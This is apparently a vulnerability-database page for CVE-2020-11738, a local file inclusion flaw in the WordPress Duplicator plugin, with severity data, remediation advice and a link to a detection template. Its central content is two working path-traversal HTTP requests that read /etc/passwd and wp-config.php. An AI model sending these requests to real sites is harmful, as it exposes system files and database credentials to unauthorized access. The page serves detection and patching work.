🔙 목록으로 돌아가기

CVE-2020-11738: WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion

TitleWordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion
Authordwisiswant0
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
RemediationUpdate the WordPress Duplicator plugin to the latest version (1.3.27 or higher) to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.94233
CVE IDCVE-2020-11738
CWE IDCWE-22
Tags cve cve2020 kev tenable packetstorm wordpress wp-plugin lfi snapcreek vkev vuln

🔍 Vulnerability Description

WordPress Duplicator 1.3.24 & 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in two versions v1.3.24 and v1.3.26, the vulnerability wasn’t present in versions 1.3.22 and before.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11738.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11738.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A